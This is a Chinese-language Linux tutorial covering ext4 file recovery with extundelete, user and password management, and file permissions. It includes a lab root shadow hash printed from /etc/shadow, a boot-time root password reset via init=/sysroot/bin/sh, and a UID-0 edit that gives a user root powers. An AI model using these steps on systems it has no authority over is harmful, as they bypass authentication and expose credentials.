Linux文件系统由三部分组成:文件名,inode,block

windows也由这三部分组成。

a.txt -->inode --> block

文件名 存放文件元数据信息 真正存放数据

查看文件文件名:

[root@localhost ~]# cp /etc/passwd a.txt 
[root@localhost ~]# ls a.txt 
a.txt

查看inode号:

常识: 每个文件,有一个inode号。

[root@localhost ~]# ls -i a.txt

440266 a.txt

查看inode中的文件属性; 通过stat命令查看inode中包含的内容

[root@localhost ~]# stat a.txt   #查看inode信息:
[root@localhost ~]# ls -l a.txt 
-rw-r--r-- 1 root root 1720 Oct 25 10:21 a.txt

block块:真正存储数据的地方

误删除文件后,第一件事要做什么??? 你不心删除把存了几十年的大片删除了。

避免误删除的文件内容被覆盖。 如何避免?

卸载需要恢复文件的分区或以只读的方式挂载

5.2.1 实战:在ext4文件系统上恢复被误删除的文件

下载extundelete

http://sourceforge.net/ 开源软件发布中心

准备测试分区:

[root@localhost /]# fdisk /dev/sda  #创建一个sda4分区
WARNING: DOS-compatible mode is deprecated. It's strongly recommended to
         switch off the mode (command 'c') and change display units to
         sectors (command 'u').

Command (m for help): p   #查看现有分区表
Disk /dev/sda: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000b8b35

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1          26      204800   83  Linux
Partition 1 does not end on cylinder boundary.
/dev/sda2              26        1301    10240000   83  Linux
/dev/sda3            1301        1428     1024000   82  Linux swap / Solaris

Command (m for help): n   #创建一个新分区
Command action
   e   extended
   p   primary partition (1-4)
p  #创建一个主分区
Selected partition 4
First cylinder (1428-2610, default 1428): 
Using default value 1428
Last cylinder, +cylinders or +size{K,M,G} (1428-2610, default 2610): +1G  #指定分区大小

Command (m for help): w  #保存
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 16: Device or resource busy.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.
[root@localhost ~]# reboot
或
[root@localhost ~]# partx -a /dev/sda  #获得新分区表

扩展:

如果在根下删除文件了,想恢复,怎么办?

方法1: 立即断电,然后把磁盘以只读方式,挂载到另一个电脑中进行恢复

方法2:把extundelete在虚拟机上(虚拟机系统要和服务器版本一样),提前安装好后再复制到U盘中,把U盘插入服务器,恢复时,恢复的文件要保存到U盘中,(不要让恢复的数据写到/下,那样会覆盖之前删除的文件)

使用新的分区表:

[root@localhost /]# mkdir /tmp/sda4     #创建挂载点
[root@localhost ~]# mkfs.ext4 /dev/sda4    #格式化
[root@localhost ~]# mount /dev/sda4 /tmp/sda4/   #挂载

5.2.2 复制一些测试文件,然后把这些文件再删除,然后演示恢复

[root@localhost ~]# cp /etc/passwd /tmp/sda4/
[root@localhost ~]# cp /etc/hosts /tmp/sda4/
[root@localhost ~]# echo aaa > a.txt
[root@localhost ~]# mkdir -p /tmp/sda4/a/b/c
[root@localhost ~]# cp a.txt /tmp/sda4/a/
[root@localhost ~]# cp a.txt /tmp/sda4/a/b/
[root@localhost ~]# touch /tmp/sda4/a/b/kong.txt
安装tree命令:
[root@localhost ~]# rpm -ivh /mnt/Packages/tree-1.5.3-2.el6.x86_64.rpm
[root@localhost ~]# tree /tmp/sda4/
/tmp/sda4/
├── a
│   ├── a.txt
│   └── b
│       ├── a.txt
│       ├── c  #空目录
│       └── kong.txt  #空文件
├── hosts
├── lost+found
└── passwd

删除文件:

[root@localhost ~]# cd /tmp/sda4/
[root@localhost sda4]# ls
a  hosts  lost+found  passwd
[root@localhost sda4]# rm -rf a hosts passwd 

误删除文件后,第一件事要做什么???

如何避免误删除的文件内容被覆盖???

卸载需要恢复文件的分区:或以只读的方式挂载

[root@localhost ~]#cd /root
[root@localhost ~]# umount /tmp/sda4

5.2.3 安装extundelet

上传extundelete到linux中:

从windows上传extundelete文件到linux,安装xmanager v5 或者crt

[root@localhost ~]# rpm -ivh /mnt/Packages/lrzsz-0.12.20-27.1.el6.x86_64.rpm

安装后,就有了rz命令和sz命令

rz: 上传windows中的文件到linux

sz :下载,将linux中的文件传到windows

解压并安装extundelet

[root@localhost extundelete-0.2.4]# tar jxvf extundelete-0.2.4.tar.bz2 
[root@localhost ~]# cd extundelete-0.2.4
[root@localhost]# yum install e2fsprogs-devel
[root@localhost extundelete-0.2.4]# ./configure   #检查系统安装环境
[root@localhost extundelete-0.2.4]# make  -j 4  #编译,把源代码编译成可执行的二进制文件。 
-j 4   使用4进程同时编译,提升编译速度 或 使用4核CPU同时编译。
[root@localhost extundelete-0.2.4]# make install  #安装

install 和cp 有什么区别?

install 复制时可以指定权限 cp不可以

例:

[root@localhost ~]# install -m 777 /bin/find /opt/a.sh
[root@localhost ~]# ll /opt/

5.2.4 开始恢复

方法一:通过inode结点恢复

方法二:通过文件名恢复

方法三:恢复某个目录,如目录a下的所有文件:

方法四:恢复所有的文件

[root@localhost ~]# umount /tmp/sda4/ 
[root@localhost ~]# mkdir test  #创建一个目录使用于存放恢复的数据
[root@localhost ~]# cd test/

方法1:

通过inode结点查看被删除的文件名字:

[root@localhost test]# extundelete /dev/sda4 --inode 2
.                                                2
lost+found                                        11
passwd                                            12             Deleted
hosts                                             13             Deleted
a                                                 7313           Deleted

扩展:ext4文件系统的分区根目录的inode值为2,xfs分区根目录的inode值为64

[root@localhost test]# ls -id /boot/   #xfs文件系统
64 /boot/
[root@localhost test]# mount /dev/sda4 /tmp/sda4/
[root@localhost test]# ls -id /tmp/sda4/
2 /tmp/sda4/
[root@localhost test]# umount /tmp/sda4/

方法一:通过inode结点恢复

[root@localhost test]# extundelete /dev/sda4 --restore-inode 12
NOTICE: Extended attributes are not restored.
Loading filesystem metadata ... 9 groups loaded.
Loading journal descriptors ... 63 descriptors loaded.
[root@localhost test]# ls 
RECOVERED_FILES
[root@localhost test]# diff /etc/passwd RECOVERED_FILES/file.12  # 没有任何输出,说明一样

方法二,通过文件名恢复

[root@localhost test]# extundelete /dev/sda4 --restore-file passwd
[root@localhost test]# diff /etc/passwd RECOVERED_FILES/passwd  # 没有任何输出,说明一样

方法三:恢复某个目录,如目录a下的所有文件:

[root@localhost test]# extundelete /dev/sda4 --restore-directory a
[root@localhost test]# tree RECOVERED_FILES/a/
RECOVERED_FILES/a/
├── a.txt
└── b
└── a.txt
下面是原来的目录结构:
[root@localhost ~]# tree /root/sda4-back/a/
/root/sda4-back/a/
├── a.txt
└── b
    ├── a.txt
    ├── c
└── kong.txt

方法四:恢复所有的文件

[root@localhost test]# extundelete /dev/sda4 --restore-all

删除前后的数据:

extundelete在恢复文件的时候能不能自动创建空文件和目录?

答:不能

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

 第六章 Centos7用户管理

        用户一般来说是指使用计算机的人,计算机对针使用其的每一个人给了一个特定的名称,用户就可以使用这些名称来登录使用计算机,除了人之外,一些系统服务也需要含有部分特权的用户账户运行;因此出于安全考虑,用户管理应运而生,它加以明确限制各个用户账户的权限,root在计算机中用拥有至高特权,所以一般只作管理用,非特权用户可以通过SU或SUDO程序来临时获得特权

GNU/Linux 通过用户和用户组实现访问控制----包括对文件访问、设备使用的控制,个人可以拥有很多账户,只不是彼此名称不同,比如root名称已经占用就不能再用了,此外,任意用户可能从属某个用户组,此用户可以加入某些已经存在的组来获得该组的特权

GNU/Linux 系统中的每一个文件都有属一个用户(属主)和一个用户组(属组)。另外,还有三种类型的访问权限:读(read)、写(write)、运行(execute)。我们可以针对文件的属主、属组、而设置相应的访问权限。再次,我们可以通过 ls | stat命令查询文件属主、属组和权限

[root@localhost ~]# ll | head -2
总用量 8
-rw-------. 1 root root 1680 9月  19 2017 anaconda-ks.cfg
[root@localhost ~]# stat anaconda-ks.cfg 
  文件:"anaconda-ks.cfg"
  大小:1680      	块:8          IO 块:4096   普通文件
设备:803h/2051d	Inode:16797763    硬链接:1

权限:(0600/-rw-------) Uid:( 0/ root) Gid:( 0/ root)

6.1 用户账号

6.1.1 用户的分类

Linux用户三种角色

超级用户: root 拥有对系统的最高的管理权限 ID=0

普通用户:系统用户 UID:1-999(centos7版本) 1-499(centos6版本)

本地用户 UID:1000+ 500+

UID:即每个用户的身份标示,类似于每个人的身份证号码.

虚拟用户:伪用户 一般不会用来登录系统的,它主要是用于维持某个服务的正常运行.如:ftp,apache

下图是用户和组的关系:

        一对一:一个用户可以存在一个组中; 一对多:一个用户可以存在多个组中

        多对一:多个用户可以存在一个组中; 多对多:多个用户可以存在多个组中

6.1.2 配置文件

名 称

帐号信息

说 明

用户配置文件

/etc/passwd

记录了每个用户的一些基本属性,并且对所有用户可读,每一行记录对应一个用户,每行记录通过冒号进行分隔

用户组文件

/etc/group

用户组的所有信息存放地儿,并且组名不能重复

用户对应的密码信息

/etc/shadow

因为passwd文件对所有用户是可读的,为安全起见把密码从passwd中分离出来放入这个单独的文件,该文件只有root用户拥有读权限,从而保证密码安全性

6.2 用户管理

6.2.1 用户命令

命令:useradd

useradd -d -u “UID” -g "初始组" -G "附加组" -s "登陆的shell” 用户

-d: -d 用户主目录路径, 可以指定用户家目录

-M: 不创建用户的主目录

-g:设置用户初始组的名称或数字ID;该组必须是存在的;如果没有设置该选项,useradd会根据/etc/login.defs文件中的USERGROUPS_ENAB环境变量进行设置。默认USERGROUPS_ENAB yes 会用和用户名相同的名字创建群组,GID 等于 UID.

-G:用户要加入的附加组列表;使用逗号分隔多个组,不要添加空格;如果不设置,用户仅仅加入初始组。(一个用户只允许有一个主组,可以有多个附属组)

-s:用户默认登录shell的路径;启动过程结束后,默认启动的登录shell在此处设定;请确保使用的shell已经安装,默认是 Bash。有时候需要禁止某些用户执行登录动作,例如用来执行系统服务的用户。将shell设置成 /sbin/nologin 就可以禁止用户登录。

6.2.2 添加登录用户

例:添加一个名为harry的用户,并使用bash作为登录的shell

[root@panda ~]# useradd harry
[root@panda ~]# tail -1 /etc/passwd
harry:x:1001:1001::/home/harry:/bin/bash

说明:此命令会自动创建harry组,并成为harry用户的默认主组,同时默认的登录shell是bash

用户帐户的全部信息被保存在/etc/passwd文件。这个文件以如下格式保存了每一个系统帐户的所有信息 (字段以“:”分割)

harry:x:1001:1001::/home/harry:/bin/bash

harry:用户名

x:密码占位符

1001:用户的UID,它都是用数字来表示的

1001:用户所属组的GID,它都是用数字来表示的

用户描述信息:对用户的功能或其它来进行一个简要的描述

/home/harry:用户主目录(shell提示符中“~”代表的那个)

/bin/bash:用户登录系统后使用的shell

#查看系统中,支持哪些shell

[root@localhost ~]# cat /etc/shells    #查看系统中,支持哪些shell
/bin/sh
/bin/bash
/sbin/nologin
/bin/csh

6.2.3 指定用户UID : -u 用户ID

[root@localhost ~]# useradd  -u 1100 oracle
[root@localhost ~]# id oracle
uid=1100(oracle) gid=1100(oracle) 组=1100(oracle)
[root@localhost ~]# tail -1 /etc/passwd
oracle:x:1100:1100::/home/oracle:/bin/bash
[root@localhost ~]# ls /home/oracle/ -a
.  ..  .bash_logout  .bash_profile  .bashrc  .mozilla

 6.2.4 指定用户主目录

[root@localhost ~]# useradd  -d /opt/yzh1 yzh1
[root@localhost ~]# tail -1 /etc/passwd
yzh1:x:1102:1102::/opt/yzh1:/bin/bash

6.2.5 指定用户的主组

[root@localhost ~]# useradd  user1
[root@localhost ~]# id user1
uid=1103(user1) gid=1103(user1) 组=1103(user1) 
[root@localhost ~]# useradd  -g user1 user2
[root@localhost ~]# id user2
uid=1104(user2) gid=1103(user1) 组=1103(user1)

6.2.6 指定用户的附属组

我们也可以把这个附属组称为补充组,用户可以有0个或多个附加组的成员

如果一个组有多个成员,我们是可以在/etc/group文件中最后一个字段看到的

[root@localhost ~]# useradd  -G yzh,harry,root yzh3
[root@localhost ~]# id yzh3
uid=1105(yzh3) gid=1105(yzh3) 组=1105(yzh3),0(root),1001(harry),1103(yzh)
[root@localhost ~]# vim /etc/group  #在文件的最后

6.2.7 创建用户的另外一个命令

[root@localhost ~]# adduser user4
[root@localhost ~]# id user4
uid=1106(user4) gid=1106(user4) 组=1106(user4)
[root@localhost ~]# which  adduser
/usr/sbin/adduser
[root@localhost ~]# ll /usr/sbin/adduser 
lrwxrwxrwx. 1 root root 7 9月  19 2017 /usr/sbin/adduser -> useradd  
注: adduser是useradd的软链接

6.2.8 删除用户

usage: userdel [options] LOGIN

选项:-r 删除的时候,会同时删除用户的家目录和/var/mail下的目录

登录/sbin/nologin的用户

[root@aliyun ~]# head /etc/passwd | grep mail
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
[root@aliyun ~]# su -s /bin/bash mail
bash-4.2$ pwd
/root
bash-4.2$ id
uid=8(mail) gid=12(mail) groups=12(mail)
bash-4.2$ exit
exit
[root@aliyun ~]#

6.2.9 密码的文件

[root@localhost ~]# head -3  /etc/shadow
root:$6$C88LCVx5ZjfBU7xv$cKcdyNeTFmOYTs9NbRZDTA4hGcbMXc/5hQEWZKCtNyLqlBagrjct.pMfs39iEaF1UbEvcOzWZHMDf9Q5KojXM1::0:99999:7:::
1、该列留空,即“::”,表示该用户无密码
2、该列为“!”,即“:!:”,表示该用户被锁,被锁将无法登录,但可用其他方式登录,如ssh公钥认证,使用root用户su -登录
3、该列为“*”,即“:*:”,也表示该用户被锁,和“!“效果一样
4、该列以“!”或“!!”开头,则表示 该用户被锁
5、该列为“!!”,即“:!!:”,则该用户从来没设置过密码
6、如果格式为“$id$salt$hashed”,则表示该用户密码正常。其中$id$的id表示密码的加密算法,$1$表示使用MD5算法,$2a$表示使用Blowfish算法,$2y$是另一算法长度的Blowfish,$5$表示SHA-256算法,而$6$表示SHA-512算法
手动给用户添加密码
1、openssl passwd  -6 redhat   #将redhat使用SHA-512加密算法生成密码
2、手动添加至/etc/shadow文件中用户的密码列

格式如下:

name

登录名称,这个必须是系统中的有效账户名

password

已加密密码,分为三个部分,第一部分是表示使用哪种哈希算法;第二部分是用于加密哈希的salt;第三部分是已加密的哈希 哈希算法:$1表示MD5 ; $6 表示SHA-512 ; $5 SHA-256 查看帮助说明:man 5 passwd man 5 shadow man 5 group man 3 crypt

lastchange

最近一次更改密码的日期,以距离1970/1/1的天数表示

min-age

不能更改密码的最少天数,最近更改过后几天才可以更改;如果为0表示“最短期限要求”

maxage

密码过期时间,必须更改密码前的最多天数

warning

密码即将到期的警告期,以天数表示,0表示“不提供警告”

inactive

宽限天数,密码到期后

expire

账号过期时间,以距离1970/1/1的天数计算 (千年虫)

blank

预留字段

给用户添加密码:

[root@panda home]# passwd oracle   交互
Changing password for user oracle.
New password: 
BAD PASSWORD: The password is shorter than 8 characters
Retype new password: 
passwd: all authentication tokens updated successfully.
[root@localhost ~]# echo 123456 | passwd --stdin yzh    #不交互
[root@localhost ~]# echo 123456 | passwd --stdin harry

互动: 两个用户的密码一样? 那么shadow中加密的hash值一样吗?

答: 不一样。 因为salt不一样

把2段加密的互换还能登陆吗?salt什么时候指定的?

命令:chage

-m:密码可更改的最小天数。为0时代表任何时候都可以更改密码

-M:密码保持有效的最大天数

-W:用户密码到期前,提前收到警告信息的天数

-E:帐号到期的日期。过了这天,此帐号将不可用

可使用一下方法计算经过多少天,根据计算的结果直接修改配置文件

# date +%s -d 2028-01-01
1830268800
# bc
bc 1.06.95
Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.
This is free software with ABSOLUTELY NO WARRANTY.
For details type `warranty'.
1830268800/86400
21183
quit.
#

#账号到2028.1.1过期需要21184天

检验

# chage admin
Changing the aging information for admin
Enter the new value, or press ENTER for the default

    Minimum Password Age [0]:
    Maximum Password Age [99999]:
    Last Password Change (YYYY-MM-DD) [2021-12-28]:
    Password Expiration Warning [7]:
    Password Inactive [-1]:
    Account Expiration Date (YYYY-MM-DD) [-1]: 2028-01-01
# grep admin /etc/shadow
admin:!!:18989:0:99999:7::21184:

-d:上一次更改的日期,为0表示强制在下次登录时更新密码

例:修改用户yzh密码信息:让这个用户首次登录系统时必须更改其密码

[root@localhost ~]# chage -d 0 yzh
[root@localhost ~]# ssh yzh@192.168.1.63
...
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.63' (ECDSA) to the list of known hosts.
yzh@192.168.1.63's password: 123456
You must change your password now and login again!  #提示必须改密码
更改用户 yzh 的密码 。
[root@localhost ~]# chage root
Changing the aging information for root
Enter the new value, or press ENTER for the default

	Minimum Password Age [0]:
	Maximum Password Age [99999]:
	Last Password Change (YYYY-MM-DD) [-1]:
	Password Expiration Warning [7]:
	Password Inactive [-1]:
	Account Expiration Date (YYYY-MM-DD) [-1]:
[root@localhost ~]# 

互动: 两个用户的UID可以一样吗?

[root@localhost ~]# vim /etc/passwd  # 改 yzh uid为0
yzh:x:0:0:yzh:/home/yzh:/bin/bash
[root@localhost ~]# su - yzh
上一次登录:二 9月 19 22:03:16 CST 2017:0 上
[yzh@localhost ~]# id yzh
uid=0(yzh) gid=0(root) 组=0(root),10(wheel)

查看用户相关命令:

#id 用户和组的信息

#whoami   #查看当前有效用户名

#who #显示目前登入系统的用户信息。

#w # w命令用于显示已经登陆系统的用户列表

#users #用于显示当前登录系统的所有用户的用户列表

6.2.10 控制添加用户规则文件的两个文件:/etc/default/useradd 和 /etc/login.defs

[root@panda home]# 	
MAIL_DIR	/var/spool/mail
PASS_MAX_DAYS	99999
PASS_MIN_DAYS	0
PASS_MIN_LEN	5
PASS_WARN_AGE	7
UID_MIN                  1000   #用户ID开始的数字
UID_MAX                 60000  #  用户ID结束的数字
SYS_UID_MIN               201
SYS_UID_MAX               999
GID_MIN                  1000
GID_MAX                 60000   #组ID结束的数字
SYS_GID_MIN               201
SYS_GID_MAX               999
CREATE_HOME	yes    #是否为用户建立home目录
UMASK           077
USERGROUPS_ENAB yes
ENCRYPT_METHOD SHA512    #shadow文件的加密算法
[root@panda home]# cat /etc/default/useradd
/etc/default/useradd  文件中的内容如下:
GROUP=100   #表示可以创建普通组 。 users组ID为100 。如果没有这一条,或者你把users这个组删除了,当你再创建用户时,将提示:useradd: group '100' does not exist 
HOME=/home   #哪个目录作为用户主目录存放目录。如果你不想让用户家目录在/home下,可以修改这个地方。
INACTIVE=-1  #是否启用帐号过期。passwd文件中第7栏。即:密码过期后是否会失效的设定值 。INACTIVE:无效。-1表示启用
EXPIRE=     #帐号终止日期 shadow中第8栏。账号失效的日期 就是 shadow 内的第八字段,你可以直接设定账号在哪个日期后就直接失效,而不理会密码的问题。 通常不会设定此项目,但如果是付费的会员制系统,或许这个字段可以设定!
SHELL=/bin/bash  #默认shell使用哪个
SKEL=/etc/skel  #模板目录
CREATE_MAIL_SPOOL=yes  #是否创建邮箱文件

6.2.11 修改用户信息

语法:usermod 【参数】用户名

常用参数:

-u UID

-d 宿主目录

-g 起始组 #只能有一个

-a 追加附加组,与-G一起使用

-G 附加组 #可以有多个

-s 登录shell

-L 锁定

-c 修改描述信息

例1:修改UID

[root@localhost ~]# id oracle
uid=1100(oracle) gid=1100(oracle) 组=1100(oracle)
[root@localhost ~]# usermod   -u 1111 oracle
[root@localhost ~]# id oracle
uid=1111(oracle) gid=1100(oracle) 组=1100(oracle)

例2:修改shell

[root@aliyun tmp]# usermod -s /sbin/nologin admin
[root@aliyun tmp]# grep -w admin /etc/passwd
admin:x:1000:1000::/home/admin:/sbin/nologin

[root@aliyun tmp]# usermod -s /bin/bash admin
[root@aliyun tmp]# grep -w admin /etc/passwd
admin:x:1000:1000::/home/admin:/bin/bash

例3:更改用户主目录

[root@panda home]# usermod -m -d /mnt/market market

-m选项会自动创建新目录并且移到内容到新目录里面

例4:添加说明信息

[root@panda mnt]# usermod -c "hello world" market

总结:如果你记不住命令, 那么直接改vim /etc/passwd 一样的。

6.2.12解决模板文件被删之后显示不正常的问题

[root@localhost ~]# rm -rf /home/admin/.bash*
[root@localhost ~]# su - admin
-bash-4.2$ exit    #出现这个不完整的shell提示符,如何处理?
[root@localhost ~]# cp /etc/skel/.bash* /home/admin/
[root@localhost ~]# chown admin:admin /home/admin/.bash*
[root@localhost ~]# su - admin
[admin@localhost ~]$

6.3 组管理

groupadd
    -g:指定gid
groupmod
    -n:修改组名
groupdel
    删除组
groupmems
    -g:指定组
    -l:列出指定组的成员
    -d:删除指定组的某个成员
    -a:添加用户
    -p:清空指定组的成员
gpassed:给组设置密码
newgrp:登录组

6.4实战:进入centos7 紧急模式恢复root密码

实战场景:公司一台centos7系统,忘记root密码了,需要你快速把root密码修改为redhat,找回root身份。

首先重启,按↑↓键,进入如下界面,选择第一项,按下e键进行编辑

在此界面找到ro这一项,改为rw init=/sysroot/bin/sh

改完之后,按下Ctrl+X进入紧急模式

原理:启动一个shell环境,系统并没有真正的启动

emergency [iˈmɜ:dʒənsi] 紧急

换根,修改密码

chroot命令用来在指定的根目录下运行指令

chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以/,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为/位置

在经过 chroot 命令之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件,

注:如果系统的selinux开启着,则需要执行命令: touch /.autorelabel

以更新系统信息,否则重启之后密码修改不会生效

先退出当前根,reboot重启系统

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

第七章 Centos7文件权限管理

7.1 文件的基本权限

7.1.1 权限的作用

通过对文件设定权限可以达到以下三种访问限制权限:

只允许用户自己访问;

允许一个预先指定的用户组中的用户访问;

允许系统中的任何用户访问。

7.1.2 查看权限

[root@localhost ~]# ll /etc/passwd
-rw-r--r--. 1 root root 2053 9月  19 2017 /etc/passwd

文件权限基本解释:

- rw- r-- r--. 1 root root 2053 9月 19 2017 /etc/passwd

-

rwx

r-x

r-x

user1

user1

time

FILENAME

文件类型

拥有者的权限

所属组的权限

其他人的权限

拥有者

属组

最后修改时间

对象

其中:文件类型,可以为p、d、l、s、c、b和 –

p表示命名管道文件

d表示目录文件

l表示符号连接文件

-表示普通文件

s表示socket套接口文件,比如我们启用mysql时,会产生一个mysql.sock文件

c表示字符设备文件,例: 虚拟控制台 或tty0

b表示块设备文件 例: sda, cdrom

例:

[root@localhost ~]# ll /dev/sda /dev/cdrom  /etc/passwd /dev/tty0
lrwxrwxrwx  1 root root    3 9月  19 2017 /dev/cdrom -> sr0
brw-rw----  1 root disk 8, 0 9月  19 2017 /dev/sda
crw--w----  1 root tty  4, 0 9月  19 2017 /dev/tty0
-rw-r--r--. 1 root root 2053 9月  19 2017 /etc/passwd

7.1.3 权限说明

对于文件来说:

r:读

w:写

x:执行

对于目录来说:

r:读(看到目录里面有什么) ls

w:在目录里面建文件,删除,移动 touch mkdir rm mv cp

x:进入 cd cat

7.1.4 文件拥有者

UGO:所有者--用户组--其它用户

所有者: 就是创建文件的用户,这个用户拥有对它所创建的文件的一切权限,所有者可以允许其所在的用户组可以访问所有者的文件。

用户组: 用户组是具有相同特征用户的逻辑集合,有时我们需要让多个用户具有相同的权限,比如查看、修改某一个文件的权限,一种方法是分别对多个用户进行文件访问授权,如果有10个用户的话,就需要授权10次,显然这种方法不太合理;另一种方法是建立一个组,让这个组具有查看、修改此文件的权限,然后将所有需要访问此文件的用户放入这个组中,那么所有用户就具有了和组一样的权限。这就是用户组。

其它用户:系统内的其他所有者用户就是other用户类

7.1.5 常见几种文件权限组成

- rwx --- ---:文件所有者对文件具有读取、写入和执行的权限。

- rwx r-- r--: 文件所有者具有读、写与执行的权限,用户组里用户及其他用户则具有读取的权限

- rw- rw- r-x:文件所有者与同组用户对文件具有读写的权限,而其他用户仅具有读取和执行的权限。

drwx--x—x: 目录所有者具有读写与进入目录的权限,其他用户近能进入该目录,却无法读取任何数据。

drwx------: 除了目录所有者具有完整的权限之外,其他用户对该目录完全没有任何权限。

举例如下:

每个用户都拥有自己的专属目录,通常放置/home下

[root@localhost home]# ll /home/
总用量 0
drwx------. 3 yzh yzh 78 9月  19 2017 yzh

注: [rwx------]表示目录所有者本身拥有的权限,其它用户是无法进入的。 root可以。

例2: 你以什么用户身份登录,那么你创建的文件或目录,自动成为该文件的所属主和组

[root@localhost home]# su - yzh
上一次登录:二 9月 19 12:57:21 CST 2017:0 上
[yzh@localhost ~]$ 
[yzh@localhost ~]$ touch a.txt
[yzh@localhost ~]$ ll a.txt 
-rw-rw-r-- 1 yzh yzh 0 5月   8 20:58 a.txt

7.1.6 更改文件的属主和属组

改变文件的所属关系用到命令:

chown:可以用来改变文件(或目录)的属主

chgrp:可以用来改变文件(或目录)的默认属组

如果你要对目录进行操作,加参数 -R

chown

语法:

chown user:group filename 比如:chown hr:san a.txt 把文件的属主和属组改为hr,san

chown user filename 比如:chown san a.txt 把文件的属主改为san用户

chown :group filename 比如: chown :miao a.txt 把文件的属组改为miao这个组

chown user: filename 比如:chown san: a.txt 自动继承这个用户所有的组

chgrp hr filename 比如: chgrp hr f.txt

-R :递归(目录下的所有内容都更改,否则只修改目录)

[root@localhost ~]# touch  {a,b,c}.txt
[root@localhost ~]# ll  *.txt
-rw-r--r-- 1 root root 0 5月   8 21:03 a.txt
-rw-r--r-- 1 root root 0 5月   8 21:03 b.txt
-rw-r--r-- 1 root root 0 5月   8 21:03 c.txt

[root@localhost ~]# chown yzh a.txt
[root@localhost ~]# ll a.txt 
-rw-r--r-- 1 yzh root 0 5月   8 21:03 a.txt
[root@localhost ~]# chown yzh:yzh a.txt
[root@localhost ~]# ll a.txt 
-rw-r--r-- 1 yzh yzh 0 5月   8 21:03 a.txt
[root@localhost ~]# chown :root  a.txt
[root@localhost ~]# ll a.txt 
-rw-r--r-- 1 yzh root 0 5月   8 21:03 a.txt

互动:一个文件只有读的权限,拥有者是否可以写这个文件?

实验:

[root@localhost ~]# su - yzh
[yzh@localhost ~]$ touch a.txt
[yzh@localhost ~]$ ll a.txt 
-rw-rw-r-- 1 yzh yzh 0 5月   8 21:07 a.txt
在另一个终端上,以root身份登录:
[root@localhost ~]# chmod 000 /home/yzh/a.txt   #修改成000权限
[root@localhost ~]# ll /home/yzh/a.txt  
---------- 1 yzh yzh 14 5月   8 21:08 /home/yzh/a.txt
回到以yzh身份登录的终端:
[yzh@localhost ~]$ vim a.txt   # 写入aaa  ,  :wq!  保存
在另一个终端上,以root身份登录:
[root@localhost ~]# cat /home/yzh/a.txt 
aaaaa

实验结果:文件所有者一定可以写文件。 就像root可以对shadow强制写。 因shadow的拥有者是root

7.1.7 使用字符修改权限

修改权限用的命令:chmod

作用:修改文件,目录的权限

语法:chmod [对谁操作] [操作符] [赋于什么权限] 文件名

对谁操作:

u----> 用户user,表示文件或目录的所有者

g---->用户组group,表示文件或目录所属的用户组

o---->其它用户others

a---->所有用户all

操作符:

+ #添加权限 ; - # 减少权限 ; = #直接给定一个权限

权限:r w x

例如下在的组合:

u-w

user

拥有者

g+x

group

o=r

other

其他人

a+x

all

所有人

例:chmod修改权限

[root@localhost ~]# touch 1.txt
[root@localhost ~]# ll 1.txt 
-rw-r--r-- 1 root root 0 5月   8 21:20 1.txt
[root@localhost ~]# 
[root@localhost ~]# chmod u-w  1.txt
[root@localhost ~]# ll 1.txt 
-r--r--r-- 1 root root 0 5月   8 21:20 1.txt
[root@localhost ~]# chmod g+x  1.txt
[root@localhost ~]# ll 1.txt 
-r--r-xr-- 1 root root 0 5月   8 21:20 1.txt
[root@localhost ~]# chmod a+x  1.txt    # 给shell脚本加一个可执行权限
[root@localhost ~]# ll 1.txt 
-r-xr-xr-x 1 root root 0 5月   8 21:20 1.txt
[root@localhost ~]# 
[root@localhost ~]# chmod a=rwx  1.txt
[root@localhost ~]# ll 1.txt 
-rwxrwxrwx 1 root root 0 5月   8 21:20 1.txt

7.1.8 使用八进制(0-7)数字表示权限法

权限

二进制值

八进制值

描述

---

000

0

没有任何权限

--x

001

1

只有执行权限

-w-

010

2

只有写入权限

-wx

011

3

有写入和执行权限

r--

100

4

只有读取权限

r-x

101

5

有读取和执行权限

rw-

110

6

有读取和写入权限

rwx

111

7

有全部权限

例1:

例1:

互动:rw- 的值是多少? 答: 4+2=6

rwx r-x r-x 的值是多少? 答: rwx=4+2+1=7 ; r-x=4+1=5 rwx r-x r-x=7 5 5

语法:

chmod 755 文件或文件夹名字

chmod a=rwx b.txt 等于 chmod 777 b.txt

例:

[root@localhost ~]# touch dd.txt
[root@localhost ~]# ll dd.txt 
-rw-r--r-- 1 root root 0 5月   8 21:40 dd.txt
[root@localhost ~]# chmod 755 dd.txt 
[root@localhost ~]# ll dd.txt 
-rwxr-xr-x 1 root root 0 5月   8 21:40 dd.txt
[root@localhost ~]# chmod 700 dd.txt 
[root@localhost ~]# ll dd.txt 
-rwx------ 1 root root 0 5月   8 21:40 dd.txt

7.1.9 权限对文件和目录的影响

有三种权限可以应用:读取,写入与执行,这些权限对访问文件和目录的影响如下:

权限

对文件的影响

对目录的影响

r(读取)

可以读取文件的内容

可以列出目录的内容(文件名)

w(写入)

可以更改文件的内容

可以创建或删除目录中的任意文件

x(执行)

可以作为命令执行文件

可以访问目录的内容(取决于目录中文件的权限)

7.1.10 补码

为什么我们创建的文件的权限是644呢?

我们创建文件的默认权限是怎么来的?

umask命令允许你设定文件创建时的缺省模式,对应每一类用户(文件属主、同组用户、其他用户)存在一个相应的umask值中的数字

文件默认权限=666 ,目录默认权限=777

我们一般在/etc/profile、$ [HOME]/.bash_profile或$[HOME]/.profile中设置umask值。

永久生效,编辑用户的配置文件vim .bash_profile

 

注: UID大于199 且用户的组名和用户名一样,那么 umask值为002,否则为022.

注: -gt 在shell中表示大于; id -g 显示用户组ID ,id -gn显示组名。

临时生效: umask 权限补码

